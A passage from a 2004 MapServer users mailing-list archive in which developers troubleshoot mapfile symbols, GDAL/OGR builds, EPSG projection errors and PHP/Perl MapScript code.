as whatever color is defined in the > layer's first class. Has this happened to anyone else? Is it a bug? > I've heard of this kind of legend problem a few times, but until now nobody has been able to produce and submit a reproduceable test case. If you can package a small dataset, mapfile and template that can be used to reproduce this bug, then please file it in bugzilla with information on the exact version of MapServer that you are using. Also make sure I'm CC'd in the bug. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From david.mitchell at telogis.com Tue Mar 30 20:05:32 2004 From: david.mitchell at telogis.com (David Mitchell) Date: Wed, 31 Mar 2004 16:05:32 +1200 Subject: [Mapserver-users] Transparent symbols Message-ID: <406A438C.4090800@telogis.com> I am having trouble placing symbols with transparency on my map. When I try and put them on the part of the image that is transparent shows up as white. I have a symbol defined as: SYMBOL # Interstate NAME 'interstate' TYPE PIXMAP IMAGE 'symbols/interstate.png' TRANSPARENT 0 END This is in my symbols.sym file. The interstate.png is an indexed png with alpha channel (although I have also tried a 24-bit PNG). How do I make this symbol transparent? My mapfile looks like this: MAP IMAGETYPE png OUTPUTFORMAT NAME png DRIVER "GD/PNG" MIMETYPE "image/png" IMAGEMODE RGB EXTENSION "png" END SIZE 916 793 STATUS on UNITS dd IMAGECOLOR 181 199 214 FONTSET "fontlist.font" SYMBOLSET 'symbols.sym' LAYER DATA "highway_shields" TYPE annotation STATUS default LABELITEM "highway" CLASS COLOR 0 0 0 SIZE 18 SYMBOL 'interstate' LABEL COLOR 255 255 255 FONT arial TYPE truetype SIZE 7 ANTIALIAS true POSITION cc END END END END -- David Mitchell Software Engineer Telogis NOTICE: This message (including any attachments) contains CONFIDENTIAL INFORMATION intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. From mapgisnewbies at yahoo.com Tue Mar 30 20:05:42 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Tue, 30 Mar 2004 20:05:42 -0800 (PST) Subject: [Mapserver-users] Where can I get/ build php_ogr.so ? In-Reply-To: <406982FF.8040808@dmsolutions.ca> Message-ID: <20040331040542.43689.qmail@web60001.mail.yahoo.com> --0-1235159524-1080705942=:43623 Content-Type: text/plain; charset=us-ascii Hi Daniel, Oh, thanks a lot for the link :) I just want to try out the new feature, which allows users to turns features to shape file, in Chameleon 1.1a. And I found out that, in my build, php_ogr.so library is missing. So I just wonder if anyone may know where I can find it. Thanks for your help :) Wei Daniel Morissette wrote: we wei wrote: > Hi all, > > I just wonder if anyone know how can I get/ build > php_ogr.so on Linux platform ? Can I get the binary > some where or the source code anywhere ? > Where did you hear about php_ogr? We didn't make any announcement about it because we don't currently have time to properly support it, but if you want to give it a try, then you'll find everything at http://maptools.org/dl/php_ogr/ Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ --------------------------------- Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. --0-1235159524-1080705942=:43623 Content-Type: text/html; charset=us-ascii
Hi Daniel,
 
Oh, thanks a lot for the link :)  I just want to try out the new feature, which allows users to turns features to shape file, in Chameleon 1.1a.  And I found out that, in my build, php_ogr.so library is missing.  So I just wonder if anyone may know where I can find it.
 
Thanks for your help :) 
Wei

Daniel Morissette <dmorissette at dmsolutions.ca> wrote:
we wei wrote:
> Hi all,
>
> I just wonder if anyone know how can I get/ build
> php_ogr.so on Linux platform ? Can I get the binary
> some where or the source code anywhere ?
>

Where did you hear about php_ogr? We didn't make any announcement about
it because we don't currently have time to properly support it, but if
you want to give it a try, then you'll find everything at
http://maptools.org/dl/php_ogr/

Daniel
--
------------------------------------------------------------
Daniel Morissette dmorissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------

Do you Yahoo!?
Yahoo! Finance Tax Center - File online. File on time. --0-1235159524-1080705942=:43623-- From sean at satshot.com Tue Mar 30 20:50:13 2004 From: sean at satshot.com (Sean Kleinjung) Date: 30 Mar 2004 22:50:13 -0600 Subject: [Mapserver-users] GDAL Can't read JPEG files Message-ID: <1080708613.3381.866.camel@olympus.satshot.com> --=-3a253U5LX7SiC256NixQ Content-Type: text/plain Content-Transfer-Encoding: 7bit Hello everyone, I am trying to set-up our MapServer to access and display imagery from the TerraServer web service. I managed to figure out the mapfile configuration, and got everything setup correctly (I think). MapServer is built with WMS client support, etc. When attempting to display a map containing the terraserver layer, I get the following error: --------------------------------------------------------------------- msDrawMap(): Image handling error. Failed to draw layer named 'terraserver'.
msDrawRaster(): Image handling error. Unrecognized or unsupported image format
drawEPP(): Image handling error. /home/httpd/html/webmap/images/1080697505325520.img.tmp is not an EPPL file.
--------------------------------------------------------------------- I searched the mailing list archive, and found in particular the posts concerning invalid image scales causing this error. I double-checked my scale data, and changed it where appropriate. Just to make sure, I manually entered a request to the web service using my map extents. This returned an image as planned. Thus I went back to mapserver, fairly confident that the image it was recieving from TerraServer was correct. The EPPL message was rather confusing, since I was expecting a JPEG from TerraServer. I just assumed that MapServer was for some reason storing its temp file in this format (?). When nothing turned up, I looked at the mapserver source for answers. I noticed that the EPPL message is a default displayed if GDAL fails to load the image, even if it isn't an EPPL source. (This is kind of odd behavior, btw.) So I am now left assuming that GDAL can't open the JPEG for some reason. I went to terraserver and manually downloaded a map .jpeg, and ran gdalinfo on it. This gave me the following error: --------------------------------------------------------------------- # ./gdalinfo test.jpg ERROR 4: `test.jpg' not recognised as a supported file format. GDALOpen failed - 4 `test.jpg' not recognised as a supported file format. --------------------------------------------------------------------- Interestingly, .jpg is the output format I am using for my maps, and the above error is also displayed if I run gdalinfo on a .jpg that mapserver itself created. Following is some mapserver and gdal version information: --------------------------------------------------------------------- # mapserv -v MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE # gdal-config --version 1.1.9 # gdal-config --formats gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 bsb xpm sdts raw dted mem jdem envisat elas fit vrt usgsdem l1b nitf bmp jpeg2000 gif jpeg png # --------------------------------------------------------------------- As you can see, jpeg support should be there. Any insight into this problem would be greatly appreciated. Thanks for your time, Sean Kleinjung Web Application Developer Agri ImaGIS Technologies, Inc. http://www.satshot.com PS: Kind of off-topic, but I'm not really sure where this kind of thing should go. When I was poking around in the source, I noticed an error message that was a bit misleading. It looks like it was copied and pasted from the one above it. I suggest applying the attached diff to the 1.109 revision of mapraster.c to clarify this. --=-3a253U5LX7SiC256NixQ Content-Disposition: attachment; filename=msg.patch Content-Type: text/plain; name=msg.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit 1343c1343 < msSetError(MS_MISCERR, "Attempt to render raster layer to IMAGEMODE RGB or RGBA but\nwithout GDAL available. 24bit output requires GDAL.", "msDrawRasterLayer()" ); --- > msSetError(MS_MISCERR, "Attempt to render raster layer that requires reprojection\nwithout GDAL available. Image warping requires GDAL.", "msDrawRasterLayer()" ); --=-3a253U5LX7SiC256NixQ-- From jduflost at ben.vub.ac.be Tue Mar 30 22:48:51 2004 From: jduflost at ben.vub.ac.be (Johan Duflost) Date: Wed, 31 Mar 2004 08:48:51 +0200 Subject: [Mapserver-users] mapserver under win2K Message-ID: <001c01c416ec$3a44d920$0200000a@orion> This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C416FC.FDB5DB60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I've installed mapserver 3.6.7 on windows 2000 following the = instructions in the readme file but when I run mapserv.exe -v in a dos = prompt, I get an error concerning the zlib.dll library. I added the lib = directory in the path. What's the problem ? Thank you in advance, Johan Duflost Johan Duflost Analyst Programmer Belgian Biodiversity Information Facility (BeBIF) Universite Libre de Bruxelles (ULB) Boulevard du Triomphe - campus de la plaine B-1050 Bruxelles http://gis.bebif.be ------=_NextPart_000_0019_01C416FC.FDB5DB60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hi all,
 
I've installed mapserver 3.6.7 on = windows 2000=20 following the instructions in the readme file but when I run mapserv.exe = -v in a=20 dos prompt, I get an error concerning the zlib.dll library. I added the = lib=20 directory in the path. What's the problem ?
 
Thank you in advance,
 
Johan Duflost
 
Johan Duflost
Analyst = Programmer
Belgian=20 Biodiversity Information Facility (BeBIF)
Universite Libre de = Bruxelles=20 (ULB)
Boulevard du Triomphe - campus de la plaine
B-1050 = Bruxelles
http://gis.bebif.be
------=_NextPart_000_0019_01C416FC.FDB5DB60-- From dharanibabus at hotmail.com Tue Mar 30 23:20:09 2004 From: dharanibabus at hotmail.com (Dharani Babu) Date: Wed, 31 Mar 2004 12:50:09 +0530 Subject: [Mapserver-users] epsg error ! help me ! Message-ID: Hi all I am using both ms4w package and also IIS version of the map server . I found a rather strange problem . I am working with examples on the map server tutorial to know deep about the way CGI variables work ... I am trying to render a simple shape file layer by passing the CGI variable from url without template html http://localhost/cgi-bin/mapserv_40.exe?map=C:/ms4w/Apache/htdocs/demof/example1-1.map&mode=map in the ms4w apache package and also in IIS based package like this http://localhost/cgi-bin/mapserv_40.exe?map=C:/Inetpub/wwwroot/iisdemo/example1-1.map&mode=map But I got the following errors in ms4w package trials ... msProcessProjection(): Projection library error. no options found in 'init' file and the following in IIS based trails msProcessProjection(): init:epsg:4376 error .. why so ? I checked the C:/ms4w/proj/epsg and found the line 4376 ...the same I found at C:/proj for IIS...but both the file sizes differ ( ms4w epsg file size is around 190 kb whereas file size of C:/Proj of IIS version is 300kb ) and but still I dont know why I have this error ... This is the map file used in example 1 ... MAP IMAGETYPE PNG EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 SIZE 400 300 SHAPEPATH "data1/data" IMAGECOLOR 255 255 255 PROJECTION #"proj=laea" # "ellps=clrk66" # "lat_0=45" # "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME states DATA states_ugl STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4376" END CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object Any help will be appreciated . I am not able to proceed further .. With regards and thanks in advance Dharani Babu S _________________________________________________________________ Easiest Money Transfer to India. Send Money To 6000 Indian Towns. http://go.msnserver.com/IN/42198.asp Easiest Way To Send Money Home! From jacob.delfos at maunsell.com Tue Mar 30 23:29:00 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Wed, 31 Mar 2004 17:29:00 +1000 Subject: [Mapserver-users] mapserver under win2K Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C416F1.D61DE7B0 Content-Type: text/plain What kind of error? That the file is missing? -----Original Message----- From: Johan Duflost [mailto:jduflost at ben.vub.ac.be] Sent: Wednesday, 31 March 2004 14:49 To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] mapserver under win2K Hi all, I've installed mapserver 3.6.7 on windows 2000 following the instructions in the readme file but when I run mapserv.exe -v in a dos prompt, I get an error concerning the zlib.dll library. I added the lib directory in the path. What's the problem ? Thank you in advance, Johan Duflost Johan Duflost Analyst Programmer Belgian Biodiversity Information Facility (BeBIF) Universite Libre de Bruxelles (ULB) Boulevard du Triomphe - campus de la plaine B-1050 Bruxelles http://gis.bebif.be ------_=_NextPart_001_01C416F1.D61DE7B0 Content-Type: text/html Message
What kind of error? That the file is missing?
 
-----Original Message-----
From: Johan Duflost [mailto:jduflost at ben.vub.ac.be]
Sent: Wednesday, 31 March 2004 14:49
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] mapserver under win2K

 
Hi all,
 
I've installed mapserver 3.6.7 on windows 2000 following the instructions in the readme file but when I run mapserv.exe -v in a dos prompt, I get an error concerning the zlib.dll library. I added the lib directory in the path. What's the problem ?
 
Thank you in advance,
 
Johan Duflost
 
Johan Duflost
Analyst Programmer
Belgian Biodiversity Information Facility (BeBIF)
Universite Libre de Bruxelles (ULB)
Boulevard du Triomphe - campus de la plaine
B-1050 Bruxelles
http://gis.bebif.be
------_=_NextPart_001_01C416F1.D61DE7B0-- From mschulz at webgis.de Tue Mar 30 23:34:51 2004 From: mschulz at webgis.de (Michael Schulz) Date: Wed, 31 Mar 2004 09:34:51 +0200 Subject: [Mapserver-users] Compiling mapserver with gdal In-Reply-To: <4B1A1EC0790F054193453C48725D431829FA10@MSGBE1V1.seat.it> References: <4B1A1EC0790F054193453C48725D431829FA10@MSGBE1V1.seat.it> Message-ID: <406A749B.1050602@webgis.de> Hi, i am also at the moment trying to compile mapserver-4.0.1 with VC7 and current versions of gd (2.0.21), gdal (1.2.0) ... I changed all support libraries to compile with the /MT switch and succeeded in building gdal with that option. But building mapserver didn't work, there were some unresolved external symbols, e.g. __HUGE. Now i am starting over with the /MD flag. Could someone give some advice which compiler flag should be used or is "better" suited for the needs of mapserver on windows? And could someone confirm that it is necessary to have all libs compiled with the same flags? Thanks, Michael Ballini Yvain schrieb: > > Hi List, > > I'm looking for a version of gdal which can be compiled with the static > multithread option (switch /MT in the makefile.vc). > Indeed, I've compiled mapserver 4.0 (with VC7 on XP) like this, and the > current version I've downloaded for gdal (gdal-1.2.0) seems not to be > compilable with the compiler options that I still have used for > compiling mapserver and other utilities: > OPTFLAGS= /nologo /Ox /MT $(WARNING_LEVEL) $(DEBUG) > LDFLAGS = /NODEFAULTLIB:libc /DEBUG > Has someone any idea or any gdal source version which is still > compilable with these options...? > > Thanks a lot. > Regards. > > Yvain Ballini. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From bpicinbono at worldonline.fr Wed Mar 31 00:29:53 2004 From: bpicinbono at worldonline.fr (blaise) Date: Wed, 31 Mar 2004 10:29:53 +0200 Subject: [Mapserver-users] drawing lines with mapscript Message-ID: <406A8181.9080501@worldonline.fr> hi jeff, I hope that this will help. This is a php-function that draw a line (according to several parameters). It is working fine with MS 3.6.2; perhaps you have to make some changes for MS 4.0. Try to put your own parameters and it should work fine. Blaise /****************************************************/ /* function line_save(tx,ty,layername,id,type,close,kt) */ /* make a line out of arrays tx and ty, */ /* if id=0->newid else id=id */ /* type : line=3, poly=5 if close, */ /* add the first point at the end */ /****************************************************/ function line_save($tx,$ty,$sln,$sid,$stype,$sclose,$kt) { $shapepath="/var/www/html/ms/data"; $numpoint=count($tx); if ( (($numpoint>1) and ($stype==3)) or (($numpoint>2) and ($stype=="5")) ) { $stmp="/$sln"; $lineshpFileName="$shapepath"."$stmp"; $lineshpFile = ms_newShapefileObj($lineshpFileName,-2); $newShp = ms_newShapeObj(MS_SHP_ARC); $aLine = ms_newLineObj(); for ($ipoint=0; $ipoint<$numpoint;$ipoint++) { $aLine->addXY($tx[$ipoint], $ty[$ipoint]); } if ($sclose==1) { $aLine->addXY($tx[0], $ty[0]); } $newShp->add($aLine); $lineshpFile->addShape($newShp); $aLine->free(); $newShp->free(); $dbFile = dbase_open($lineshpFileName,2); if ($sid==0) { $idfn=$sln.".id"; $filename="$shapepath"."/$idfn"; $fp=fopen($filename,"r") or die ("not able to open $filename in read mode"); $id=fgets($fp,1024); fclose($fp); $id=$id+1; $fp=fopen($filename,"w") or die ("not able to open $filename in write mode"); fwrite ($fp,$id); fclose($fp); $c[0]=$id; } else { $c[0]=$sid; dbase_add_record($dbFile,$c); dbase_close($dbFile); $lineshpFile->free(); } } } //***************** end line_save *************************** From josb at pml.ac.uk Wed Mar 31 00:41:36 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Wed, 31 Mar 2004 09:41:36 +0100 Subject: [Mapserver-users] Adding Dynamic layers in Mapscript 4.0.1 Perl In-Reply-To: <25D4A9F614A1964BA08A67C4FB9D3DF30109A122@srpexc2.srp.gov> References: <25D4A9F614A1964BA08A67C4FB9D3DF30109A122@srpexc2.srp.gov> Message-ID: <406A8440.1020700@pml.ac.uk> WILHITE JASON W wrote: > <>The static members of the map file are showing up just fine but not > the dynamic layer. I have a feeling it might be a problem with the > color assignments but for the life of me I can?t figure it out. > > Does anyone have any ideas? > > Thank you, > > -Jason > I think I ran into a similar problem myself. Although I don't recall the solution, I do remember finding that calling save() on the map object to save the generated map file to disk was a very useful debugging solution. However my own code for setting the style on a line layer that I have does something similar to the following: (where $layer is a layerObj) my $layerClass = new mapscript::classObj($layer); # ... Set the values inside $layerClass ... $layerClass->{numstyles} = 1; - John -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From bpicinbono at worldonline.fr Wed Mar 31 01:03:39 2004 From: bpicinbono at worldonline.fr (blaise) Date: Wed, 31 Mar 2004 11:03:39 +0200 Subject: [Mapserver-users] Re: polygon label placement Message-ID: <406A896B.1070802@worldonline.fr> Dean Gadoury wrote : ----- Every now and then I need to label polygons in MapServer and I'm often unsatisfied with the resulting placement. Labeling is fine for points and lines, but when it comes to polygons it can be unpredictable.... If I'm not mistaken the POSITION parameter will only place the label relative to the point at which MapServer decides the label will go. Depending on the label's POSITION its quite possible to have labels that fall completely outside a polygon. Is there a way to force labels to be within a polygon? Is there anything else I'm missing? ----- I have seen some discussions some times ago in the list about having the polygon labels inside the polygons. First try the different label position parameters (vertical : up, center, down; horizontal : left, center, right). (i.e. : CC) If you can do some mapserver scripting, you can put the labels wherever you want (acoording you know where they have to go) : -- have a separate label (or point) layer where you will draw the labels for the polygons, -- for each polygon, compute the X/Y coordinates of each vertex to find the best point place for the label to be, -- insert a label (or a labeled point) at this computed location on your label layer. For the computation, you can use the simple : X = middle of Xmin - Xmax Y = middle of Ymin - Ymax But this won't give you good results if you deal with "inside-curved" polygons. I think you can find a lot of doc for the computation of the "center" of polygons. You can have a look at a demo where you can precisly set the polygon labels with the simple computation above and by the means of two X-offset and Y-offset parameters : http://webmaps.ouvaton.org link: java-tools demo (switch to html with the green java switch left to the scale bar (all editing and updating tools have not yet been developped in java), put the purple polygon layer in update mode and digitize new polygons or update the X/Y-offset of the existing ones, or update the vertex.) 'hope it'll help Blaise From palle at mail-online.dk Wed Mar 31 01:31:38 2004 From: palle at mail-online.dk (Palle Due Larsen) Date: Wed, 31 Mar 2004 11:31:38 +0200 Subject: [Mapserver-users] epsg error ! help me ! In-Reply-To: References: Message-ID: Have you set the PROJLIB environment variable? Best regards Palle Due Larsen Carl Bro GIS&IT -----Original Message----- From: "Dharani Babu" To: mapserver-users at lists.gis.umn.edu Date: Wed, 31 Mar 2004 12:50:09 +0530 Subject: [Mapserver-users] epsg error ! help me ! > Hi all > I am using both ms4w package and also IIS version of the map server > . I > found a rather strange problem . I am working with examples on the > map > server tutorial to know deep about the way CGI variables work ... > I am trying to render a simple shape file layer by passing the CGI > variable > from url without template html > http://localhost/cgi-bin/mapserv_40.exe?map=C:/ms4w/Apache/htdocs/dem > of/example1-1.map&mode=map > in the ms4w apache package and also in IIS based package like this > http://localhost/cgi-bin/mapserv_40.exe?map=C:/Inetpub/wwwroot/iisdem > o/example1-1.map&mode=map > > But I got the following errors in ms4w package trials ... > > msProcessProjection(): Projection library error. no options found in > 'init' > file > and the following in IIS based trails > msProcessProjection(): init:epsg:4376 error .. > why so ? I checked the C:/ms4w/proj/epsg and found the line 4376 > ...the same > I found at > C:/proj for IIS...but both the file sizes differ ( ms4w epsg file > size is > around 190 kb whereas file size of C:/Proj of IIS version is 300kb ) > and but > still I dont know why I have this error ... > This is the map file used in example 1 ... > MAP > IMAGETYPE PNG > EXTENT 201621.496941 -294488.285333 1425518.020722 > 498254.511514 > SIZE 400 300 > SHAPEPATH "data1/data" > IMAGECOLOR 255 255 255 > > PROJECTION > #"proj=laea" > # "ellps=clrk66" > # "lat_0=45" > # "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME states > DATA states_ugl > STATUS DEFAULT > TYPE POLYGON > > PROJECTION > "init=epsg:4376" > END > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END # States polygon layer ends here > # End of LAYER DEFINITIONS ------------------------------- > > END # end of map file/object > > Any help will be appreciated . I am not able to proceed further .. > With regards and thanks in advance > Dharani Babu S > > _________________________________________________________________ > Easiest Money Transfer to India. Send Money To 6000 Indian Towns. > http://go.msnserver.com/IN/42198.asp Easiest Way To Send Money Home! > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From svincent at idems.fr Wed Mar 31 05:14:30 2004 From: svincent at idems.fr (Sebastien Vincent) Date: Wed, 31 Mar 2004 15:14:30 +0200 Subject: [Mapserver-users] Problems compiling mapserv with OGR support. In-Reply-To: References: Message-ID: <406AC436.2050901@idems.fr> Hi, First, thank you all for your answers :) The problem is now solved :) Christophe Beveraggi adviced me to try compiling gdal 1.1.9 instead of 1.2.0 (i tried 1.2.0b also). I did it, and it worked very well :) Just a ldconfig after compiling the whole gdal and mapserv, and my output is now : [root at nostalgia mapserver-4.0.1]# /var/www/cgi-bin/mapserv -v MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=FREETYPE INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Pretty fine, thanks you all for your help :) I hope this thread can help some others. Best regards, seb :) ps : viva mapserver :) Tyler Mitchell wrote: >Hi Seb, >If you can, I'd suggest also compiling gdal/ogr from source code. I >assume the versions you have are linux binaries that may not have all the >required files for effectively building dependent applications. > >You may also try running: ldconfig >that should get your libraries registered. You may first want to edit >/etc/ld.so.conf (I think I got the write path there) and make sure that >the folder that the libraries you want is listed there - then run ldconfig >again. > >There is also a gdal/ogr list that may help you. > >Tyler > >mapserver-users-admin at lists.gis.umn.edu wrote on 03/30/2004 06:48:32 AM: > > > >>Hello everybody :) >> >>First excuse me for my english, I'm french :) >> >>I'm trying to enable OGR support for mapserv, so I'm trying to compile >>it as follow : >>[root at nostalgia mapserver-4.0.1]# ./configure >>--with-ogr=../gdal-1.2.0b/apps/gdal-config \ >>--with-gdal=../gdal-1.2.0b/apps/gdal-config >>[root at nostalgia mapserver-4.0.1]# make >> >>But i've lots of errors durring make (configure scripts works fine) : >> >> >> >>>[root at nostalgia mapserver-4.0.1]# make >>>gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF >>>-DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT >>>-DUSE_GDAL -I/usr/include >>>-I/root/applications/mapserver/gdal-1.2.0b/port >>>-I/root/applications/mapserver/gdal-1.2.0b/gcore >>>-I/root/applications/mapserver/gdal-1.2.0b/alg >>>-I/root/applications/mapserver/gdal-1.2.0b/ogr >>>-I/root/applications/mapserver/gdal-1.2.0b/ogr/ogrsf_frmts >>>shp2img.o -L. -lmap -lgd -L/usr/lib -lgd -ljpeg -lfreetype -lpng >>>-lz -ltiff -ljpeg -lfreetype -lpng -lz -ljpeg -lm >>>-lstdc++ -o shp2img >>>./libmap.a(mapgdal.o)(.text+0x11): In function `msGDALInitialize': >>>: undefined reference to `GDALAllRegister' >>>./libmap.a(mapgdal.o)(.text+0x19): In function `msGDALInitialize': >>>: undefined reference to `CPLQuietErrorHandler' >>>./libmap.a(mapgdal.o)(.text+0x1e): In function `msGDALInitialize': >>>: undefined reference to `CPLPushErrorHandler' >>> >>> >> lot's of others >> >> >> >>>./libmap.a(mapdrawgdal.o)(.text+0x26b9): In function `Dither24to8': >>>: undefined reference to `GDALDestroyColorTable' >>>./libmap.a(mapdrawgdal.o)(.text+0x26c6): In function `Dither24to8': >>>: undefined reference to `GDALClose' >>>collect2: ld returned 1 exit status >>>make: *** [shp2img] Erreur 1 >>> >>> >>I've tried to update to gdal 1.2.0b but no results :( >> >>Here is some additionals informatitions that could help I hope. >> >>[root at nostalgia mapserver-4.0.1]# locate libgdal.so.1.2.0 >>/root/applications/mapserver/gdal-1.2.0/.libs/libgdal.so.1.2.0 >>/root/applications/mapserver/gdal-1.2.0b/.libs/libgdal.so.1.2.0 >>/usr/local/lib/libgdal.so.1.2.0 >> >> >>I've heard that there where some problems with gcc 3 and mapserv, so >>here is my output : >> >>[root at nostalgia mapserver-4.0.1]# gcc -v >>Reading specs from /usr/lib/gcc-lib/i586-mandrake-linux-gnu/3.3.1/specs >>Configured with: ../configure --prefix=/usr --libdir=/usr/lib >>--with-slibdir=/lib --mandir=/usr/share/man --infodir=/usr/share/info >>--enable-shared --enable-threads=posix --disable-checking >>--enable-long-long --enable-__cxa_atexit >>--enable-languages=c,c++,ada,f77,objc,java,pascal >>--host=i586-mandrake-linux-gnu --with-system-zlib >>Thread model: posix >>gcc version 3.3.1 (Mandrake Linux 9.2 3.3.1-2mdk) >> >>I don't know how to proceed to solve this problem, cause I am Linux >>newbie :( >> >>Searching the mailing list archives I've found that the "ldd" program >>must be use, I don't know how it works, but I've understand that it >>register system librairies, here is the output : >> >> >> >>>[root at nostalgia mapserver-4.0.1]# ldd /usr/local/lib/libgdal.so.1.2.0 >>> >>> >>> libungif.so.4 => /usr/lib/libungif.so.4 (0x402fe000) >>> libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40306000) >>> libpng.so.3 => /usr/lib/libpng.so.3 (0x40325000) >>> libz.so.1 => /lib/libz.so.1 (0x4034b000) >>> libdl.so.2 => /lib/libdl.so.2 (0x4035a000) >>> libpq.so.3 => /usr/lib/libpq.so.3 (0x4035d000) >>> libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0x40372000) >>> libm.so.6 => /lib/i686/libm.so.6 (0x4042b000) >>> libc.so.6 => /lib/i686/libc.so.6 (0x4044e000) >>> libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x4057e000) >>> libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x40588000) >>> /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x80000000) >>> libssl.so.0.9.7 => /usr/lib/libssl.so.0.9.7 (0x4066b000) >>> libcrypto.so.0.9.7 => /usr/lib/libcrypto.so.0.9.7 (0x4069d000) >>> libcrypt.so.1 => /lib/libcrypt.so.1 (0x4079f000) >>> libresolv.so.2 => /lib/libresolv.so.2 (0x407cc000) >>> libnsl.so.1 => /lib/libnsl.so.1 (0x407dd000) >>> >>> >> >> >>>[root at nostalgia mapserver-4.0.1]# ldd libgdal.so.1.2.0 >>> >>> >>>ldd: ./libgdal.so.1.2.0: No such file or directory >>> >>> >>Seems to be a problem ? >> >>I've also read an answer for a problem similar to mine, where *Daniel >>Morissette *said to try the following command : >> >> >> >>>[root at nostalgia mapserver-4.0.1]# nm /usr/local/lib/libgdal.so.1.2.0 | >>> >>> > > > >>>grep OGRPolygon >>>0015bbf0 T _Z14OGRGetCentroidP10OGRPolygonP8OGRPoint >>>0015b4e0 T _Z20OGRPolygonLabelPointP10OGRPolygonP8OGRPoint >>>0015b460 T _Z24OGRIntersectPointPolygonP8OGRPointP10OGRPolygon >>>001be0a0 T _ZN10OGRPolygon11flattenTo2DEv >>>001be320 T _ZN10OGRPolygon13importFromWkbEPhi >>>001be6e0 T _ZN10OGRPolygon13importFromWktEPPc >>>001be250 T _ZN10OGRPolygon15addRingDirectlyEP13OGRLinearRing >>>001be100 T _ZN10OGRPolygon15getExteriorRingEv >>>001be160 T _ZN10OGRPolygon15getInteriorRingEi >>>001bdfa0 T _ZN10OGRPolygon5emptyEv >>>001be1c0 T _ZN10OGRPolygon7addRingEP13OGRLinearRing >>>001bed80 T _ZN10OGRPolygon9transformEP27OGRCoordinateTransformation >>>001bdd90 T _ZN10OGRPolygonC1Ev >>>001bdd50 T _ZN10OGRPolygonC2Ev >>>001bdeb0 T _ZN10OGRPolygonD0Ev >>>001bde40 T _ZN10OGRPolygonD1Ev >>>001bddd0 T _ZN10OGRPolygonD2Ev >>>00150ff0 T >>> >>> >>> >_ZN9TABRegion13AppendSecHdrsEP10OGRPolygonRP19TABMAPCoordSecHdr_tP10TABMAPFileRi > > >>>001be5a0 T _ZNK10OGRPolygon11exportToWkbE15OGRwkbByteOrderPh >>>001be9a0 T _ZNK10OGRPolygon11exportToWktEPPc >>>001beb50 T _ZNK10OGRPolygon11getEnvelopeEP11OGREnvelope >>>001be050 T _ZNK10OGRPolygon12getDimensionEv >>>001beb40 T _ZNK10OGRPolygon14PointOnSurfaceEP8OGRPoint >>>001be120 T _ZNK10OGRPolygon15getExteriorRingEv >>>001be0e0 T _ZNK10OGRPolygon15getGeometryNameEv >>>001be020 T _ZNK10OGRPolygon15getGeometryTypeEv >>>001be190 T 